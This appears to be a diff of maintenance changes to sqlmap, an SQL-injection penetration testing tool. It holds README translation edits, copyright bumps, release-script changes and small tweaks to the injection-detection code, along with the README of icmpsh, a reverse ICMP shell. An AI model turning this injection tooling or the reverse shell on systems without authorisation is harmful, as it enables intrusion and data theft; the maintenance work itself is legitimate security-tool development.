Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). Để có cái nhìn tổng quan về sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh).
Liên kết Liên kết
---- ----
@@ -44,9 +44,9 @@ Liên kết
* Trang chủ: https://sqlmap.org * Trang chủ: https://sqlmap.org
* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues * Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues
* Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -2,21 +2,21 @@
[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap)
sqlmap 是一开源的渗透测试工具,可以用来自动化的检测利用SQL注入漏洞获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。 sqlmap 是一开源的渗透测试工具,可以自动化进行SQL注入的检测利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
演示截图 演示截图
---- ----
![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
你可以访问 wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看各种用法的 你可以查看 wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解各种用法的示
安装方法 安装方法
---- ----
你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. 你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码.
推荐从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: 推荐直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
@@ -33,17 +33,17 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.
python sqlmap.py -hh python sqlmap.py -hh
你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 你可以从 [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取 sqlmap 所有支持的特性、参数、命令行选项开关及详细的使用帮助。
链接 链接
---- ----
* 项目主页: https://sqlmap.org * 项目主页: https://sqlmap.org
* 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Commit的 RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues
* 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki
* 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap) * X: [@sqlmap](https://twitter.com/sqlmap)
* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
beep.py - Make a beep sound beep.py - Make a beep sound
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
cloak.py - Simple file encryption/compression utility cloak.py - Simple file encryption/compression utility
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
dbgtool.py - Portable executable to ASCII debug script converter dbgtool.py - Portable executable to ASCII debug script converter
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,45 +1,45 @@
icmpsh - simple reverse ICMP shell icmpsh - simple reverse ICMP shell
icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl.
--- Running the Master --- --- Running the Master ---
The master is straight forward to use. There are no extra libraries required for the C version. The master is straight forward to use. There are no extra libraries required for the C version.
The Perl master however has the following dependencies: The Perl master however has the following dependencies:
* IO::Socket * IO::Socket
* NetPacket::IP * NetPacket::IP
* NetPacket::ICMP * NetPacket::ICMP
When running the master, don't forget to disable ICMP replies by the OS. For example: When running the master, don't forget to disable ICMP replies by the OS. For example:
sysctl -w net.ipv4.icmp_echo_ignore_all=1 sysctl -w net.ipv4.icmp_echo_ignore_all=1
If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive
commands send from the master. commands send from the master.
--- Running the Slave --- --- Running the Slave ---
The slave comes with a few command line options as outlined below: The slave comes with a few command line options as outlined below:
-t host host ip address to send ping requests to. This option is mandatory! -t host host ip address to send ping requests to. This option is mandatory!
-r send a single test icmp request containing the string "Test1234" and then quit. -r send a single test icmp request containing the string "Test1234" and then quit.
This is for testing the connection. This is for testing the connection.
-d milliseconds delay between requests in milliseconds -d milliseconds delay between requests in milliseconds
-o milliseconds timeout of responses in milliseconds. If a response has not received in time, -o milliseconds timeout of responses in milliseconds. If a response has not received in time,
the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit.
The counter is set back to 0 if a response was received. The counter is set back to 0 if a response was received.
-b num limit of blanks (unanswered icmp requests before quitting -b num limit of blanks (unanswered icmp requests before quitting
-s bytes maximal data buffer size in bytes -s bytes maximal data buffer size in bytes
In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer.

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes trailing spaces from blank lines inside project files # Removes trailing spaces from blank lines inside project files

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Stress test against Python3 # Stress test against Python3

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env python #!/usr/bin/env python
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files # Removes duplicate entries in wordlist like files

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# sudo pip install modernize # sudo pip install modernize

View File

@@ -12,11 +12,13 @@ chmod +x .git/hooks/pre-commit
PROJECT="../../" PROJECT="../../"
SETTINGS="../../lib/core/settings.py" SETTINGS="../../lib/core/settings.py"
DIGEST="../../data/txt/sha256sums.txt"
declare -x SCRIPTPATH="${0}" declare -x SCRIPTPATH="${0}"
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
@@ -35,3 +37,6 @@ then
fi fi
git add "$SETTINGS_FULLPATH" git add "$SETTINGS_FULLPATH"
fi fi
cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd -
git add "$DIGEST_FULLPATH"

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs py3diatra on all python files (prerequisite: pip install pydiatra) # Runs py3diatra on all python files (prerequisite: pip install pydiatra)

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)

View File

@@ -1,6 +1,6 @@
#!/bin/bash #!/bin/bash
# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \; find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;

View File

@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -38,7 +38,8 @@ setup(
}, },
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
license='GNU General Public License v2 (GPLv2)', license='GNU General Public License v2 (GPLv2)',
packages=find_packages(), packages=['sqlmap'],
package_dir={'sqlmap':'sqlmap'},
include_package_data=True, include_package_data=True,
zip_safe=False, zip_safe=False,
# https://pypi.python.org/pypi?%3Aaction=list_classifiers # https://pypi.python.org/pypi?%3Aaction=list_classifiers
@@ -67,7 +68,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -159,7 +160,7 @@ Links
- User's manual: https://github.com/sqlmapproject/sqlmap/wiki - User's manual: https://github.com/sqlmapproject/sqlmap/wiki
- Frequently Asked Questions (FAQ): - Frequently Asked Questions (FAQ):
https://github.com/sqlmapproject/sqlmap/wiki/FAQ https://github.com/sqlmapproject/sqlmap/wiki/FAQ
- Twitter: https://twitter.com/sqlmap - X: https://twitter.com/sqlmap
- Demos: http://www.youtube.com/user/inquisb/videos - Demos: http://www.youtube.com/user/inquisb/videos
- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots - Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -176,5 +177,7 @@ EOF
sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py
sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py
for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done for file in $(find sqlmap -type f | grep -v -E "\.(git|yml)"); do echo include $file >> MANIFEST.in; done
python setup.py sdist upload python setup.py sdist bdist_wheel
twine check dist/*
twine upload --config-file=~/.pypirc dist/*
rm -rf $TMP_DIR rm -rf $TMP_DIR

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -3,7 +3,7 @@
""" """
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -217,6 +217,7 @@ def checkSqlInjection(place, parameter, value):
if _ > 1: if _ > 1:
__ = 2 * (_ - 1) + 1 if _ == lower else 2 * _ __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
unionExtended = True unionExtended = True
test.request._columns = test.request.columns
test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns) test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(__), title) title = re.sub(r"\b%d\b" % _, str(__), title)
test.title = re.sub(r"\b%d\b" % _, str(__), test.title) test.title = re.sub(r"\b%d\b" % _, str(__), test.title)
@@ -580,7 +581,7 @@ def checkSqlInjection(place, parameter, value):
if injectable: if injectable:
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode: if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
suggestion = conf.code = trueCode suggestion = conf.code = trueCode
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code) infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
@@ -819,6 +820,9 @@ def checkSqlInjection(place, parameter, value):
choice = readInput(msg, default=str(conf.verbose), checkBatch=False) choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
conf.verbose = int(choice) conf.verbose = int(choice)
setVerbosity() setVerbosity()
if hasattr(test.request, "columns") and hasattr(test.request, "_columns"):
test.request.columns = test.request._columns
delattr(test.request, "_columns")
tests.insert(0, test) tests.insert(0, test)
elif choice == 'N': elif choice == 'N':
return None return None
@@ -1046,9 +1050,10 @@ def heuristicCheckSqlInjection(place, parameter):
payload = "%s%s%s" % (prefix, randStr, suffix) payload = "%s%s%s" % (prefix, randStr, suffix)
payload = agent.payload(place, parameter, newValue=payload) payload = agent.payload(place, parameter, newValue=payload)
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) page, _, code = Request.queryPage(payload, place, content=True, raise404=False)
kb.heuristicPage = page kb.heuristicPage = page
kb.heuristicCode = code
kb.heuristicMode = False kb.heuristicMode = False
parseFilePaths(page) parseFilePaths(page)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -69,7 +69,7 @@ from lib.core.settings import ASP_NET_CONTROL_REGEX
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
from lib.core.settings import HOST_ALIASES from lib.core.settings import HOST_ALIASES
from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import LOW_TEXT_PERCENT from lib.core.settings import LOW_TEXT_PERCENT
@@ -513,7 +513,7 @@ def start():
paramKey = (conf.hostname, conf.path, place, parameter) paramKey = (conf.hostname, conf.path, place, parameter)
if kb.processUserMarks: if kb.processUserMarks:
if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI):
if kb.processNonCustom is None: if kb.processNonCustom is None:
message = "other non-custom parameters found. " message = "other non-custom parameters found. "
message += "Do you want to process them too? [Y/n/q] " message += "Do you want to process them too? [Y/n/q] "
@@ -550,7 +550,7 @@ def start():
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg) logger.info(infoMsg)
elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): elif conf.paramExclude and (re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I) or re.search(conf.paramExclude, place, re.I)):
testSqlInj = False testSqlInj = False
infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "skipping %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
@@ -563,7 +563,7 @@ def start():
logger.info(infoMsg) logger.info(infoMsg)
# Ignore session-like parameters for --level < 4 # Ignore session-like parameters for --level < 4
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or re.search(GOOGLE_ANALYTICS_COOKIE_REGEX, parameter)):
testSqlInj = False testSqlInj = False
infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -45,6 +45,7 @@ from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import BOUNDED_BASE64_MARKER from lib.core.settings import BOUNDED_BASE64_MARKER
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import GENERIC_SQL_COMMENT
@@ -185,6 +186,11 @@ class Agent(object):
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\') newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
newValue = self.adjustLateValues(newValue) newValue = self.adjustLateValues(newValue)
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5488
if kb.customInjectionMark in origValue:
payload = newValue.replace(origValue, "")
newValue = origValue.replace(kb.customInjectionMark, payload)
# TODO: support for POST_HINT # TODO: support for POST_HINT
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER) newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
@@ -222,7 +228,8 @@ class Agent(object):
def _(pattern, repl, string): def _(pattern, repl, string):
retVal = string retVal = string
match = None match = None
for match in re.finditer(pattern, string):
for match in re.finditer(pattern, string or ""):
pass pass
if match: if match:
@@ -489,7 +496,7 @@ class Agent(object):
if field and Backend.getIdentifiedDbms(): if field and Backend.getIdentifiedDbms():
rootQuery = queries[Backend.getIdentifiedDbms()] rootQuery = queries[Backend.getIdentifiedDbms()]
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and getTechnique() in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL): if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL):
nulledCastedField = field nulledCastedField = field
else: else:
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
@@ -884,11 +891,16 @@ class Agent(object):
if element > 0: if element > 0:
unionQuery += ',' unionQuery += ','
if element == position: if conf.uValues and conf.uValues.count(',') + 1 == count:
unionQuery += conf.uValues.split(',')[element]
elif element == position:
unionQuery += query unionQuery += query
else: else:
unionQuery += char unionQuery += char
